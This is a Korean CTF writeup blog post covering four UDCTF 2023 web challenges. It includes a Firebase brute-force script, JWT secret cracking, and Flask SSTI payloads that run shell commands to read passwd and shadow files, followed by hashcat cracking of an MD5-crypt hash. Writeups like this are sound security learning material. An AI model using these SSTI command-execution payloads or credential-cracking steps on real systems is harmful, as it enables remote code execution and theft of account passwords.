본문 바로가기

웹해킹/CTF

UDCTF 2023 web Writeup

반응형

UDCTF 2023 Writeup

1. Just Cat The Flask 1/2 Writeup

기본적인 SSTI 문제이다. popen찾고 flag 찾으면 되는 문제이다. 

 

 


2. Best Bathroom on Campus

 

이번 문제는 브루트포스를 해서 flag를 유추하는 문제이다.

 

exploit

import requests
import string

URL = "https://best-bathroom-default-rtdb.firebaseio.com/flag/"
flag = 'UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y'
for j in range(30):
    for i in range(33,128):
        if(i == 47):
            continue
        res = requests.get(url=URL+flag+chr(i)+'.json')
        print(chr(i),URL+flag+chr(i)+'.json')
        if( 'null' in res.text):
            continue
        elif('true' in res.text):
            flag = flag + chr(i)
            print(flag)
            if(chr(i)== '}'):
                quit()
            break

    print(res.text)

UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}


 

3. Super Admin

이번 문제는 Super Admin이다. 문제 사이트를 들어가면 /user에서 jwt token을 발급받고, /profile에 들어가서 flag를 찾을 수 있다. 이때 admin으로 접속해야 한다. 

 

 

쿠키를 복사해서 jwt.io에 넣으면 위와 같이 어떤 알고리즘으로 되어 있는지 알 수 있다. 

 

 

 

 

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

HS256으로 암호화되어 있고, role: admin으로 되어야한다. 일단 admin으로 바꾸고 넣었지만 flag가 나오지 않는다. 이후 암호크랙을 위해 john과 jwt crack tool을 사용했다.

 

 

https://github.com/ticarpi/jwt_tool/blob/master/jwt_tool.py

깃에서 jwt tool을 찾았고 명령어에 맞게 입력했다.

python3 jwttool.py -C jwt_token

 

 

UDCTF{k33p_17_51mp13_57up1d_15_4_l1e}

 

 

 


4. Just Cat The Flask 2/2 Writeup

 

아까와 똑같은 취약점이다. SSTI 취약점이 발견되었다. 이번엔 처음 보는 폴더가 생겨서 들어갔다.

 

 

 

https://bluehens-cat-the-flask.chals.io/greeting/%7B%7B''.__class__.__base__.__subclasses__()[351]('ls%20sum_suckers_creds%20-al',shell=True,stdout=-1).communicate()[0].strip()%7D%7D

 

 

passwd 파일이 나왔다. 문제 설명에도 중요한 사람의 패스워드가 flag라고 했기에 확인했다.

 

 

 

 

https://bluehens-cat-the-flask.chals.io/greeting/%7B%7B''.__class__.__base__.__subclasses__()[351]('cd%20sum_suckers_creds%20&&%20cat%20passwd',shell=True,stdout=-1).communicate()[0].strip()%7D%7D

&연산자로 명령어를 묶어서 전달했다.

 

 

'root:x:0:0:root:/root:/usr/bin/zsh\n
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n
sys:x:3:3:sys:/dev:/usr/sbin/nologin\n
sync:x:4:65534:sync:/bin:/bin/sync\n
games:x:5:60:games:/usr/games:/usr/sbin/nologin\n
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\
nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\n
karen:x:1003:1003:e,e,e,ee,e:/home/karen:/bin/bash\n
vip:x:1004:1004:s,s,s,s,s:/home/shrek:/bin/bash'


'root:$1$JgcFDliZ$ZIZdkgJ.xnaUBrBZSbDxL.:19612:0:99999:7:::\n
daemon:*:19590:0:99999:7:::\n
bin:*:19590:0:99999:7:::\n
sys:*:19590:0:99999:7:::\n
sync:*:19590:0:99999:7:::\n
games:*:19590:0:99999:7:::\n
man:*:19590:0:99999:7:::\n
lp:*:19590:0:99999:7:::\n
mail:*:19590:0:99999:7:::\n
news:*:19590:0:99999:7:::\n
uucp:*:19590:0:99999:7:::\n
proxy:*:19590:0:99999:7:::\n
www-data:*:19590:0:99999:7:::\n
backup:*:19590:0:99999:7:::\n
list:*:19590:0:99999:7:::\n
irc:*:19590:0:99999:7:::\n
_apt:*:19590:0:99999:7:::\n
nobody:*:19590:0:99999:7:::\n
systemd-network:!*:19590::::::\n
systemd-timesync:!*:19590::::::\n
karen:$1$EImme.sA$dxaxqbP8rphkRv.LDWUJA0:19643:0:99999:7:::\n
vip:$1$SI/aHxuY$YaNGjV9fqbJojcQhmBSH30:19643:0:99999:7:::'!

passwd와 shadow에서 vip 계정과 패스워드를 찾았다. 이제 크랙을 해야한다.

 

john the ripper에 돌리니까 md5crypt라고 했다. 이후에 --format=md5crypt로 설정하고 다시 실행했지만 안되었다. 이후 hashcat으로 했다.

 

 

 

hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt -r rules --debug-mode=1 --debug-file=matched.rule

rules 파일은 다음과 같다.

 

^{^F ^T ^C ^D ^U$}

의미는 앞에 UDCTF{를 포함하고 맨 뒤에 }를 포함하는 것으로 만들었다.

 

728x90

'웹해킹 > CTF' 카테고리의 다른 글

GCHD CTF Web PoC - SSTI URL Health Check and Heapdump  (0) 2023.11.27
CCE-2023 연습문제 풀이 - baby web  (0) 2023.06.06
BucketCTF 2023 SQLi-1 Writeup  (0) 2023.04.11
Wolve CTF 2023 zombie101 Writeup  (0) 2023.03.21
b01lers CTF warmup Writeup  (0) 2023.03.20